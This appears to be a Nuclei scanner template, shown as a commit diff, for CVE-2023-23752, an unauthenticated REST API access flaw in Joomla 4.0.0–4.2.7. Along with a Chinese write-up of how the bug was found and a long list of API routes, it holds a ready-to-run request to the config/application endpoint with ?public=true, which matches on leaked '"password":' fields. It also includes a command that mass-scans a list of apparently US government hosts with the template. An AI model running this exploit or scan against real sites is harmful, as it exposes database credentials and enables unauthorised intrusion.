1
+ id : CVE-2023-23752
2
+
3
+ info :
4
+ name : CVE-2023-23752
5
+ author : 51pwn
6
+ severity : critical
7
+ description : |
8
+ Joomla webservice endpoint access
9
+ 由于公司对漏洞的要求比较高,代码审计很快集中到了请求路由的代码块。不管是Wordpress/RounderCube还是PhpMyAdmin以及一些知名度比较高的php应用(一个Java安全研究员感到头皮发麻),我的重点对象变成了请求路由的代码追踪,一旦分析经过路由选择之后,剩下的业务代码我是完全不看了。虽然有点不专业,但是这是挖掘未授权漏洞最好的道路,最终终于找到了一个不错的高危漏洞——Joomla未授权访问Rest API。
10
+ Joomla大致有三个路由入口,分别是
11
+
12
+ 根目录的index.php(用户访问文章)
13
+ 根目录的administrator/index.php(管理员管理)
14
+ 根目录的api/index.php(开发者爱好的Rest API)
15
+ 未授权的接口正是第三个入口。因此影响的只有Joomla4.0.0——Joomla4.2.7(Rest API 4.x正式开发)
16
+
17
+ 受影响的版本
18
+ Joomla! CMS 版本 4.0.0-4.2.7
19
+
20
+ cat atckData/us_gov_httpx.json|jq '.url'|sed 's/"//g'|sort -u|nuclei -duc -t $PWD/config/51pwn/CVE-2023-23752.yaml -json -o us_gov_nuclei_CVE-2023-23752.json
21
+ v1/banners
22
+ v1/banners/:id
23
+ v1/banners
24
+ v1/banners/:id
25
+ v1/banners/:id
26
+ v1/banners/clients
27
+ v1/banners/clients/:id
28
+ v1/banners/clients
29
+ v1/banners/clients/:id
30
+ v1/banners/clients/:id
31
+ v1/banners/categories
32
+ v1/banners/categories/:id
33
+ v1/banners/categories
34
+ v1/banners/categories/:id
35
+ v1/banners/categories/:id
36
+ v1/banners/:id/contenthistory
37
+ v1/banners/:id/contenthistory/keep
38
+ v1/banners/:id/contenthistory
39
+ v1/config/application
40
+ v1/config/application
41
+ v1/config/:component_name
42
+ v1/config/:component_name
43
+ v1/contacts/form/:id
44
+ v1/contacts
45
+ v1/contacts/:id
46
+ v1/contacts
47
+ v1/contacts/:id
48
+ v1/contacts/:id
49
+ v1/contacts/categories
50
+ v1/contacts/categories/:id
51
+ v1/contacts/categories
52
+ v1/contacts/categories/:id
53
+ v1/contacts/categories/:id
54
+ v1/fields/contacts/contact
55
+ v1/fields/contacts/contact/:id
56
+ v1/fields/contacts/contact
57
+ v1/fields/contacts/contact/:id
58
+ v1/fields/contacts/contact/:id
59
+ v1/fields/contacts/mail
60
+ v1/fields/contacts/mail/:id
61
+ v1/fields/contacts/mail
62
+ v1/fields/contacts/mail/:id
63
+ v1/fields/contacts/mail/:id
64
+ v1/fields/contacts/categories
65
+ v1/fields/contacts/categories/:id
66
+ v1/fields/contacts/categories
67
+ v1/fields/contacts/categories/:id
68
+ v1/fields/contacts/categories/:id
69
+ v1/fields/groups/contacts/contact
70
+ v1/fields/groups/contacts/contact/:id
71
+ v1/fields/groups/contacts/contact
72
+ v1/fields/groups/contacts/contact/:id
73
+ v1/fields/groups/contacts/contact/:id
74
+ v1/fields/groups/contacts/mail
75
+ v1/fields/groups/contacts/mail/:id
76
+ v1/fields/groups/contacts/mail
77
+ v1/fields/groups/contacts/mail/:id
78
+ v1/fields/groups/contacts/mail/:id
79
+ v1/fields/groups/contacts/categories
80
+ v1/fields/groups/contacts/categories/:id
81
+ v1/fields/groups/contacts/categories
82
+ v1/fields/groups/contacts/categories/:id
83
+ v1/fields/groups/contacts/categories/:id
84
+ v1/contacts/:id/contenthistory
85
+ v1/contacts/:id/contenthistory/keep
86
+ v1/contacts/:id/contenthistory
87
+ v1/content/articles
88
+ v1/content/articles/:id
89
+ v1/content/articles
90
+ v1/content/articles/:id
91
+ v1/content/articles/:id
92
+ v1/content/categories
93
+ v1/content/categories/:id
94
+ v1/content/categories
95
+ v1/content/categories/:id
96
+ v1/content/categories/:id
97
+ v1/fields/content/articles
98
+ v1/fields/content/articles/:id
99
+ v1/fields/content/articles
100
+ v1/fields/content/articles/:id
101
+ v1/fields/content/articles/:id
102
+ v1/fields/content/categories
103
+ v1/fields/content/categories/:id
104
+ v1/fields/content/categories
105
+ v1/fields/content/categories/:id
106
+ v1/fields/content/categories/:id
107
+ v1/fields/groups/content/articles
108
+ v1/fields/groups/content/articles/:id
109
+ v1/fields/groups/content/articles
110
+ v1/fields/groups/content/articles/:id
111
+ v1/fields/groups/content/articles/:id
112
+ v1/fields/groups/content/categories
113
+ v1/fields/groups/content/categories/:id
114
+ v1/fields/groups/content/categories
115
+ v1/fields/groups/content/categories/:id
116
+ v1/fields/groups/content/categories/:id
117
+ v1/content/articles/:id/contenthistory
118
+ v1/content/articles/:id/contenthistory/keep
119
+ v1/content/articles/:id/contenthistory
120
+ v1/extensions
121
+ v1/languages/content
122
+ v1/languages/content/:id
123
+ v1/languages/content
124
+ v1/languages/content/:id
125
+ v1/languages/content/:id
126
+ v1/languages/overrides/search
127
+ v1/languages/overrides/search/cache/refresh
128
+ v1/languages/overrides/site/zh-CN
129
+ v1/languages/overrides/site/zh-CN/:id
130
+ v1/languages/overrides/site/zh-CN
131
+ v1/languages/overrides/site/zh-CN/:id
132
+ v1/languages/overrides/site/zh-CN/:id
133
+ v1/languages/overrides/administrator/zh-CN
134
+ v1/languages/overrides/administrator/zh-CN/:id
135
+ v1/languages/overrides/administrator/zh-CN
136
+ v1/languages/overrides/administrator/zh-CN/:id
137
+ v1/languages/overrides/administrator/zh-CN/:id
138
+ v1/languages/overrides/site/en-GB
139
+ v1/languages/overrides/site/en-GB/:id
140
+ v1/languages/overrides/site/en-GB
141
+ v1/languages/overrides/site/en-GB/:id
142
+ v1/languages/overrides/site/en-GB/:id
143
+ v1/languages/overrides/administrator/en-GB
144
+ v1/languages/overrides/administrator/en-GB/:id
145
+ v1/languages/overrides/administrator/en-GB
146
+ v1/languages/overrides/administrator/en-GB/:id
147
+ v1/languages/overrides/administrator/en-GB/:id
148
+ v1/languages
149
+ v1/languages
150
+ v1/media/adapters
151
+ v1/media/adapters/:id
152
+ v1/media/files
153
+ v1/media/files/:path/
154
+ v1/media/files/:path
155
+ v1/media/files
156
+ v1/media/files/:path
157
+ v1/media/files/:path
158
+ v1/menus/site
159
+ v1/menus/site/:id
160
+ v1/menus/site
161
+ v1/menus/site/:id
162
+ v1/menus/site/:id
163
+ v1/menus/administrator
164
+ v1/menus/administrator/:id
165
+ v1/menus/administrator
166
+ v1/menus/administrator/:id
167
+ v1/menus/administrator/:id
168
+ v1/menus/site/items
169
+ v1/menus/site/items/:id
170
+ v1/menus/site/items
171
+ v1/menus/site/items/:id
172
+ v1/menus/site/items/:id
173
+ v1/menus/administrator/items
174
+ v1/menus/administrator/items/:id
175
+ v1/menus/administrator/items
176
+ v1/menus/administrator/items/:id
177
+ v1/menus/administrator/items/:id
178
+ v1/menus/site/items/types
179
+ v1/menus/administrator/items/types
180
+ v1/messages
181
+ v1/messages/:id
182
+ v1/messages
183
+ v1/messages/:id
184
+ v1/messages/:id
185
+ v1/modules/types/site
186
+ v1/modules/types/administrator
187
+ v1/modules/site
188
+ v1/modules/site/:id
189
+ v1/modules/site
190
+ v1/modules/site/:id
191
+ v1/modules/site/:id
192
+ v1/modules/administrator
193
+ v1/modules/administrator/:id
194
+ v1/modules/administrator
195
+ v1/modules/administrator/:id
196
+ v1/modules/administrator/:id
197
+ v1/newsfeeds/feeds
198
+ v1/newsfeeds/feeds/:id
199
+ v1/newsfeeds/feeds
200
+ v1/newsfeeds/feeds/:id
201
+ v1/newsfeeds/feeds/:id
202
+ v1/newsfeeds/categories
203
+ v1/newsfeeds/categories/:id
204
+ v1/newsfeeds/categories
205
+ v1/newsfeeds/categories/:id
206
+ v1/newsfeeds/categories/:id
207
+ v1/plugins
208
+ v1/plugins/:id
209
+ v1/plugins/:id
210
+ v1/privacy/requests
211
+ v1/privacy/requests/:id
212
+ v1/privacy/requests/export/:id
213
+ v1/privacy/requests
214
+ v1/privacy/consents
215
+ v1/privacy/consents/:id
216
+ v1/privacy/consents/:id
217
+ v1/redirects
218
+ v1/redirects/:id
219
+ v1/redirects
220
+ v1/redirects/:id
221
+ v1/redirects/:id
222
+ v1/tags
223
+ v1/tags/:id
224
+ v1/tags
225
+ v1/tags/:id
226
+ v1/tags/:id
227
+ v1/templates/styles/site
228
+ v1/templates/styles/site/:id
229
+ v1/templates/styles/site
230
+ v1/templates/styles/site/:id
231
+ v1/templates/styles/site/:id
232
+ v1/templates/styles/administrator
233
+ v1/templates/styles/administrator/:id
234
+ v1/templates/styles/administrator
235
+ v1/templates/styles/administrator/:id
236
+ v1/templates/styles/administrator/:id
237
+ v1/users
238
+ v1/users/:id
239
+ v1/users
240
+ v1/users/:id
241
+ v1/users/:id
242
+ v1/fields/users
243
+ v1/fields/users/:id
244
+ v1/fields/users
245
+ v1/fields/users/:id
246
+ v1/fields/users/:id
247
+ v1/fields/groups/users
248
+ v1/fields/groups/users/:id
249
+ v1/fields/groups/users
250
+ v1/fields/groups/users/:id
251
+ v1/fields/groups/users/:id
252
+ v1/users/groups
253
+ v1/users/groups/:id
254
+ v1/users/groups
255
+ v1/users/groups/:id
256
+ v1/users/groups/:id
257
+ v1/users/levels
258
+ v1/users/levels/:id
259
+ v1/users/levels
260
+ v1/users/levels/:id
261
+ v1/users/levels/:id
262
+ reference :
263
+ - https://hackerone.com/reports/358112
264
+ - https://51pwn.com
265
+ tags : web,cve,2023
266
+
267
+ requests :
268
+ - raw :
269
+ - |+
270
+ GET /api/index.php/v1/config/application?public=true HTTP/1.1
271
+ Host: {{Hostname}}
272
+ Accept:*/*
273
+ Cookie: ee60d1d99382ce00b2fc0b55e5c1975b=vl0pucs0a5jqojs89o82vn4mv3
274
+ Cache-Control: max-age=0
275
+ Upgrade-Insecure-Requests: 1
276
+ Pragma:no-cache
277
+ User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
278
+ Connection: close
279
+ unsafe : true
280
+ pipeline : true
281
+ # pipeline-concurrent-connections: 40
282
+ # pipeline-requests-per-connection: 25000
283
+ cookie-reuse : true
284
+ req-condition : true
285
+ matchers-condition : and
286
+ stop-at-first-match : true
287
+ matchers :
288
+ - type : status
289
+ status :
290
+ - 200
291
+ - type : word
292
+ part : body
293
+ words :
294
+ - " links"
295
+ - ' "password":'
296
+ # user|pass|id
297
+
298
+ - type : word
299
+ part : body
300
+ words :
301
+ - " attributes"
0 commit comments